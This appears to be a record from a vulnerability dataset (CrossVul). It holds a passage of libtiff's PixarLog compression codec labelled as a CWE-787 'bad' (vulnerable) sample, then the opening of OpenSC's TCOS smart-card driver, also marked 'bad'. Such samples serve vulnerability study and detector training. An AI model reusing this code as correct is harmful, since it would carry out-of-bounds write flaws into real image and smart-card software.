ToLinearF[2048] = ToLinearF[2047]; for (i = 0; i < TSIZEP1; i++) { v = ToLinearF[i]*65535.0 + 0.5; ToLinear16[i] = (v > 65535.0) ? 65535 : (uint16)v; v = ToLinearF[i]*255.0 + 0.5; ToLinear8[i] = (v > 255.0) ? 255 : (unsigned char)v; } j = 0; for (i = 0; i < lt2size; i++) { if ((i*linstep)*(i*linstep) > ToLinearF[j]*ToLinearF[j+1]) j++; FromLT2[i] = (uint16)j; } /* * Since we lose info anyway on 16-bit data, we set up a 14-bit * table and shift 16-bit values down two bits on input. * saves a little table space. */ j = 0; for (i = 0; i < 16384; i++) { while ((i/16383.)*(i/16383.) > ToLinearF[j]*ToLinearF[j+1]) j++; From14[i] = (uint16)j; } j = 0; for (i = 0; i < 256; i++) { while ((i/255.)*(i/255.) > ToLinearF[j]*ToLinearF[j+1]) j++; From8[i] = (uint16)j; } Fltsize = (float)(lt2size/2); sp->ToLinearF = ToLinearF; sp->ToLinear16 = ToLinear16; sp->ToLinear8 = ToLinear8; sp->FromLT2 = FromLT2; sp->From14 = From14; sp->From8 = From8; return 1; } #define DecoderState(tif) ((PixarLogState*) (tif)->tif_data) #define EncoderState(tif) ((PixarLogState*) (tif)->tif_data) static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s); static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s); #define PIXARLOGDATAFMT_UNKNOWN -1 static int PixarLogGuessDataFmt(TIFFDirectory *td) { int guess = PIXARLOGDATAFMT_UNKNOWN; int format = td->td_sampleformat; /* If the user didn't tell us his datafmt, * take our best guess from the bitspersample. */ switch (td->td_bitspersample) { case 32: if (format == SAMPLEFORMAT_IEEEFP) guess = PIXARLOGDATAFMT_FLOAT; break; case 16: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_16BIT; break; case 12: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_INT) guess = PIXARLOGDATAFMT_12BITPICIO; break; case 11: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_11BITLOG; break; case 8: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_8BIT; break; } return guess; } static tmsize_t multiply_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 * m2; if (m1 && bytes / m1 != m2) bytes = 0; return bytes; } static tmsize_t add_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 + m2; /* if either input is zero, assume overflow already occurred */ if (m1 == 0 || m2 == 0) bytes = 0; else if (bytes <= m1 || bytes <= m2) bytes = 0; return bytes; } static int PixarLogFixupTags(TIFF* tif) { (void) tif; return (1); } static int PixarLogSetupDecode(TIFF* tif) { static const char module[] = "PixarLogSetupDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* Make sure no byte swapping happens on the data * after decompression. */ tif->tif_postdecode = _TIFFNoPostDecode; /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); /* add one more stride in case input ends mid-stride */ tbuf_size = add_ms(tbuf_size, sizeof(uint16) * sp->stride); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); sp->tbuf_size = tbuf_size; if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle bits depth/data format combination (depth: %d)", td->td_bitspersample); return (0); } if (inflateInit(&sp->stream) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Setup state for decoding a strip. */ static int PixarLogPreDecode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreDecode"; PixarLogState* sp = DecoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_in = tif->tif_rawdata; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) tif->tif_rawcc; if ((tmsize_t)sp->stream.avail_in != tif->tif_rawcc) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (inflateReset(&sp->stream) == Z_OK); } static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s) { static const char module[] = "PixarLogDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t i; tmsize_t nsamples; int llen; uint16 *up; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: nsamples = occ / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: nsamples = occ / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: nsamples = occ; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; (void) s; assert(sp != NULL); sp->stream.next_out = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt) (nsamples * sizeof(uint16)); if (sp->stream.avail_out != nsamples * sizeof(uint16)) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } /* Check that we will not fill more than what was allocated */ if ((tmsize_t)sp->stream.avail_out > sp->tbuf_size) { TIFFErrorExt(tif->tif_clientdata, module, "sp->stream.avail_out > sp->tbuf_size"); return (0); } do { int state = inflate(&sp->stream, Z_PARTIAL_FLUSH); if (state == Z_STREAM_END) { break; /* XXX */ } if (state == Z_DATA_ERROR) { TIFFErrorExt(tif->tif_clientdata, module, "Decoding error at scanline %lu, %s", (unsigned long) tif->tif_row, sp->stream.msg ? sp->stream.msg : "(null)"); if (inflateSync(&sp->stream) != Z_OK) return (0); continue; } if (state != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (sp->stream.avail_out > 0); /* hopefully, we got all the bytes we needed */ if (sp->stream.avail_out != 0) { TIFFErrorExt(tif->tif_clientdata, module, "Not enough data at scanline %lu (short " TIFF_UINT64_FORMAT " bytes)", (unsigned long) tif->tif_row, (TIFF_UINT64_T) sp->stream.avail_out); return (0); } up = sp->tbuf; /* Swap bytes in the data if from a different endian machine. */ if (tif->tif_flags & TIFF_SWAB) TIFFSwabArrayOfShort(up, nsamples); /* * if llen is not an exact multiple of nsamples, the decode operation * may overflow the output buffer, so truncate it enough to prevent * that but still salvage as much data as possible. */ if (nsamples % llen) { TIFFWarningExt(tif->tif_clientdata, module, "stride %lu is not a multiple of sample count, " "%lu, data truncated.", (unsigned long) llen, (unsigned long) nsamples); nsamples -= nsamples % llen; } for (i = 0; i < nsamples; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalAccumulateF(up, llen, sp->stride, (float *)op, sp->ToLinearF); op += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalAccumulate16(up, llen, sp->stride, (uint16 *)op, sp->ToLinear16); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_12BITPICIO: horizontalAccumulate12(up, llen, sp->stride, (int16 *)op, sp->ToLinearF); op += llen * sizeof(int16); break; case PIXARLOGDATAFMT_11BITLOG: horizontalAccumulate11(up, llen, sp->stride, (uint16 *)op); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalAccumulate8(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; case PIXARLOGDATAFMT_8BITABGR: horizontalAccumulate8abgr(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "Unsupported bits/sample: %d", td->td_bitspersample); return (0); } } return (1); } static int PixarLogSetupEncode(TIFF* tif) { static const char module[] = "PixarLogSetupEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = EncoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle %d bit linear encodings", td->td_bitspersample); return (0); } if (deflateInit(&sp->stream, sp->quality) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Reset encoding state at the start of a strip. */ static int PixarLogPreEncode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreEncode"; PixarLogState *sp = EncoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_out = tif->tif_rawdata; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt)tif->tif_rawdatasize; if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (deflateReset(&sp->stream) == Z_OK); } static void horizontalDifferenceF(float *ip, int n, int stride, uint16 *wp, uint16 *FromLT2) { int32 r1, g1, b1, a1, r2, g2, b2, a2, mask; float fltsize = Fltsize; #define CLAMP(v) ( (v<(float)0.) ? 0 \ : (v<(float)2.) ? FromLT2[(int)(v*fltsize)] \ : (v>(float)24.2) ? 2047 \ : LogK1*log(v*LogK2) + 0.5 ) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); a2 = wp[3] = (uint16) CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = (int32) CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { ip += n - 1; /* point to last one */ wp += n - 1; /* point to last one */ n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp[stride] -= wp[0]; wp[stride] &= mask; wp--; ip--) n -= stride; } REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp--; ip--) } } } static void horizontalDifference16(unsigned short *ip, int n, int stride, unsigned short *wp, uint16 *From14) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; /* assumption is unsigned pixel values */ #undef CLAMP #define CLAMP(v) From14[(v) >> 2] mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { ip += n - 1; /* point to last one */ wp += n - 1; /* point to last one */ n -= stride; while (n > 0) { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp[stride] -= wp[0]; wp[stride] &= mask; wp--; ip--) n -= stride; } REPEAT(stride, wp[0] = CLAMP(ip[0]); wp--; ip--) } } } static void horizontalDifference8(unsigned char *ip, int n, int stride, unsigned short *wp, uint16 *From8) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; #undef CLAMP #define CLAMP(v) (From8[(v)]) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; r1 = CLAMP(ip[3]); wp[3] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[4]); wp[4] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[5]); wp[5] = (uint16)((b1-b2) & mask); b2 = b1; wp += 3; ip += 3; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; r1 = CLAMP(ip[4]); wp[4] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[5]); wp[5] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[6]); wp[6] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[7]); wp[7] = (uint16)((a1-a2) & mask); a2 = a1; wp += 4; ip += 4; } } else { wp += n + stride - 1; /* point to last one */ ip += n + stride - 1; /* point to last one */ n -= stride; while (n > 0) { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp[stride] -= wp[0]; wp[stride] &= mask; wp--; ip--) n -= stride; } REPEAT(stride, wp[0] = CLAMP(ip[0]); wp--; ip--) } } } /* * Encode a chunk of pixels. */ static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s) { static const char module[] = "PixarLogEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState *sp = EncoderState(tif); tmsize_t i; tmsize_t n; int llen; unsigned short * up; (void) s; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: n = cc / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: n = cc / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: n = cc; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; /* Check against the number of elements (of size uint16) of sp->tbuf */ if( n > (tmsize_t)(td->td_rowsperstrip * llen) ) { TIFFErrorExt(tif->tif_clientdata, module, "Too many input bytes provided"); return 0; } for (i = 0, up = sp->tbuf; i < n; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalDifferenceF((float *)bp, llen, sp->stride, up, sp->FromLT2); bp += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalDifference16((uint16 *)bp, llen, sp->stride, up, sp->From14); bp += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalDifference8((unsigned char *)bp, llen, sp->stride, up, sp->From8); bp += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } } sp->stream.next_in = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) (n * sizeof(uint16)); if ((sp->stream.avail_in / sizeof(uint16)) != (uInt) n) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } do { if (deflate(&sp->stream, Z_NO_FLUSH) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "Encoder error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } if (sp->stream.avail_out == 0) { tif->tif_rawcc = tif->tif_rawdatasize; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } } while (sp->stream.avail_in > 0); return (1); } /* * Finish off an encoded strip by flushing the last * string and tacking on an End Of Information code. */ static int PixarLogPostEncode(TIFF* tif) { static const char module[] = "PixarLogPostEncode"; PixarLogState *sp = EncoderState(tif); int state; sp->stream.avail_in = 0; do { state = deflate(&sp->stream, Z_FINISH); switch (state) { case Z_STREAM_END: case Z_OK: if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { tif->tif_rawcc = tif->tif_rawdatasize - sp->stream.avail_out; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } break; default: TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (state != Z_STREAM_END); return (1); } static void PixarLogClose(TIFF* tif) { TIFFDirectory *td = &tif->tif_dir; /* In a really sneaky (and really incorrect, and untruthful, and * troublesome, and error-prone) maneuver that completely goes against * the spirit of TIFF, and breaks TIFF, on close, we covertly * modify both bitspersample and sampleformat in the directory to * indicate 8-bit linear. This way, the decode "just works" even for * readers that don't know about PixarLog, or how to set * the PIXARLOGDATFMT pseudo-tag. */ td->td_bitspersample = 8; td->td_sampleformat = SAMPLEFORMAT_UINT; } static void PixarLogCleanup(TIFF* tif) { PixarLogState* sp = (PixarLogState*) tif->tif_data; assert(sp != 0); (void)TIFFPredictorCleanup(tif); tif->tif_tagmethods.vgetfield = sp->vgetparent; tif->tif_tagmethods.vsetfield = sp->vsetparent; if (sp->FromLT2) _TIFFfree(sp->FromLT2); if (sp->From14) _TIFFfree(sp->From14); if (sp->From8) _TIFFfree(sp->From8); if (sp->ToLinearF) _TIFFfree(sp->ToLinearF); if (sp->ToLinear16) _TIFFfree(sp->ToLinear16); if (sp->ToLinear8) _TIFFfree(sp->ToLinear8); if (sp->state&PLSTATE_INIT) { if (tif->tif_mode == O_RDONLY) inflateEnd(&sp->stream); else deflateEnd(&sp->stream); } if (sp->tbuf) _TIFFfree(sp->tbuf); _TIFFfree(sp); tif->tif_data = NULL; _TIFFSetDefaultCompressionState(tif); } static int PixarLogVSetField(TIFF* tif, uint32 tag, va_list ap) { static const char module[] = "PixarLogVSetField"; PixarLogState *sp = (PixarLogState *)tif->tif_data; int result; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: sp->quality = (int) va_arg(ap, int); if (tif->tif_mode != O_RDONLY && (sp->state&PLSTATE_INIT)) { if (deflateParams(&sp->stream, sp->quality, Z_DEFAULT_STRATEGY) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } return (1); case TIFFTAG_PIXARLOGDATAFMT: sp->user_datafmt = (int) va_arg(ap, int); /* Tweak the TIFF header so that the rest of libtiff knows what * size of data will be passed between app and library, and * assume that the app knows what it is doing and is not * confused by these header manipulations... */ switch (sp->user_datafmt) { case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_11BITLOG: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_12BITPICIO: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_INT); break; case PIXARLOGDATAFMT_16BIT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_FLOAT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 32); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_IEEEFP); break; } /* * Must recalculate sizes should bits/sample change. */ tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tmsize_t)(-1); tif->tif_scanlinesize = TIFFScanlineSize(tif); result = 1; /* NB: pseudo tag */ break; default: result = (*sp->vsetparent)(tif, tag, ap); } return (result); } static int PixarLogVGetField(TIFF* tif, uint32 tag, va_list ap) { PixarLogState *sp = (PixarLogState *)tif->tif_data; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: *va_arg(ap, int*) = sp->quality; break; case TIFFTAG_PIXARLOGDATAFMT: *va_arg(ap, int*) = sp->user_datafmt; break; default: return (*sp->vgetparent)(tif, tag, ap); } return (1); } static const TIFFField pixarlogFields[] = { {TIFFTAG_PIXARLOGDATAFMT, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL}, {TIFFTAG_PIXARLOGQUALITY, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL} }; int TIFFInitPixarLog(TIFF* tif, int scheme) { static const char module[] = "TIFFInitPixarLog"; PixarLogState* sp; assert(scheme == COMPRESSION_PIXARLOG); /* * Merge codec-specific tag information. */ if (!_TIFFMergeFields(tif, pixarlogFields, TIFFArrayCount(pixarlogFields))) { TIFFErrorExt(tif->tif_clientdata, module, "Merging PixarLog codec-specific tags failed"); return 0; } /* * Allocate state block so tag methods have storage to record values. */ tif->tif_data = (uint8*) _TIFFmalloc(sizeof (PixarLogState)); if (tif->tif_data == NULL) goto bad; sp = (PixarLogState*) tif->tif_data; _TIFFmemset(sp, 0, sizeof (*sp)); sp->stream.data_type = Z_BINARY; sp->user_datafmt = PIXARLOGDATAFMT_UNKNOWN; /* * Install codec methods. */ tif->tif_fixuptags = PixarLogFixupTags; tif->tif_setupdecode = PixarLogSetupDecode; tif->tif_predecode = PixarLogPreDecode; tif->tif_decoderow = PixarLogDecode; tif->tif_decodestrip = PixarLogDecode; tif->tif_decodetile = PixarLogDecode; tif->tif_setupencode = PixarLogSetupEncode; tif->tif_preencode = PixarLogPreEncode; tif->tif_postencode = PixarLogPostEncode; tif->tif_encoderow = PixarLogEncode; tif->tif_encodestrip = PixarLogEncode; tif->tif_encodetile = PixarLogEncode; tif->tif_close = PixarLogClose; tif->tif_cleanup = PixarLogCleanup; /* Override SetField so we can handle our private pseudo-tag */ sp->vgetparent = tif->tif_tagmethods.vgetfield; tif->tif_tagmethods.vgetfield = PixarLogVGetField; /* hook for codec tags */ sp->vsetparent = tif->tif_tagmethods.vsetfield; tif->tif_tagmethods.vsetfield = PixarLogVSetField; /* hook for codec tags */ /* Default values for codec-specific fields */ sp->quality = Z_DEFAULT_COMPRESSION; /* default comp. level */ sp->state = 0; /* we don't wish to use the predictor, * the default is none, which predictor value 1 */ (void) TIFFPredictorInit(tif); /* * build the companding tables */ PixarLogMakeTables(sp); return (1); bad: TIFFErrorExt(tif->tif_clientdata, module, "No space for PixarLog state block"); return (0); } #endif /* PIXARLOG_SUPPORT */ /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5478_1
crossvul-cpp_data_bad_4402_0
/* * card-tcos.c: Support for TCOS cards * * Copyright (C) 2011 Peter Koch <pk@opensc-project.org> * Copyright (C) 2002 g10 Code GmbH * Copyright (C) 2001 Juha Yrjölä <juha.yrjola@iki.fi> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #if HAVE_CONFIG_H #include "config.h" #endif #include <string.h> #include <ctype.h> #include <time.h> #include <stdlib.h> #include "internal.h" #include "asn1.h" #include "cardctl.h" static const struct sc_atr_table tcos_atrs[] = { /* Infineon SLE44 */ { "3B:BA:13:00:81:31:86:5D:00:64:05:0A:02:01:31:80:90:00:8B", NULL, NULL, SC_CARD_TYPE_TCOS_V2, 0, NULL }, /* Infineon SLE66S */ { "3B:BA:14:00:81:31:86:5D:00:64:05:14:02:02:31:80:90:00:91", NULL, NULL, SC_CARD_TYPE_TCOS_V2, 0, NULL }, /* Infineon SLE66CX320P */ { "3B:BA:96:00:81:31:86:5D:00:64:05:60:02:03:31:80:90:00:66", NULL, NULL, SC_CARD_TYPE_TCOS_V2, 0, NULL }, /* Infineon SLE66CX322P */ { "3B:BA:96:00:81:31:86:5D:00:64:05:7B:02:03:31:80:90:00:7D", NULL, NULL, SC_CARD_TYPE_TCOS_V2, 0, NULL }, /* Philips P5CT072 */ { "3B:BF:96:00:81:31:FE:5D:00:64:04:11:03:01:31:C0:73:F7:01:D0:00:90:00:7D", NULL, NULL, SC_CARD_TYPE_TCOS_V3, 0, NULL }, { "3B:BF:96:00:81:31:FE:5D:00:64:04:11:04:0F:31:C0:73:F7:01:D0:00:90:00:74", NULL, NULL, SC_CARD_TYPE_TCOS_V3, 0, NULL }, /* Philips P5CT080 */ { "3B:BF:B6:00:81:31:FE:5D:00:64:04:28:03:02:31:C0:73:F7:01:D0:00:90:00:67", NULL, NULL, SC_CARD_TYPE_TCOS_V3, 0, NULL }, { NULL, NULL, NULL, 0, 0, NULL } }; static struct sc_card_operations tcos_ops; static struct sc_card_driver tcos_drv = { "TCOS 3.0", "tcos", &tcos_ops, NULL, 0, NULL }; static const struct sc_card_operations *iso_ops = NULL; typedef struct tcos_data_st { unsigned int pad_flags; unsigned int next_sign; } tcos_data; static int tcos_finish(sc_card_t *card) { free(card->drv_data); return 0; } static int tcos_match_card(sc_card_t *card) { int i; i = _sc_match_atr(card, tcos_atrs, &card->type); if (i < 0) return 0; return 1; } static int tcos_init(sc_card_t *card) { unsigned long flags; tcos_data *data = malloc(sizeof(tcos_data)); if (!data) return SC_ERROR_OUT_OF_MEMORY; card->name = "TCOS"; card->drv_data = (void *)data; card->cla = 0x00; flags = SC_ALGORITHM_RSA_RAW; flags |= SC_ALGORITHM_RSA_PAD_PKCS1; flags |= SC_ALGORITHM_RSA_HASH_NONE; _sc_card_add_rsa_alg(card, 512, flags, 0); _sc_card_add_rsa_alg(card, 768, flags, 0); _sc_card_add_rsa_alg(card, 1024, flags, 0); if (card->type == SC_CARD_TYPE_TCOS_V3) { card->caps |= SC_CARD_CAP_APDU_EXT; _sc_card_add_rsa_alg(card, 1280, flags, 0); _sc_card_add_rsa_alg(card, 1536, flags, 0); _sc_card_add_rsa_alg(card, 1792, flags, 0); _sc_card_add_rsa_alg(card, 2048, flags, 0); } return 0; } /* Hmmm, I don't know what to 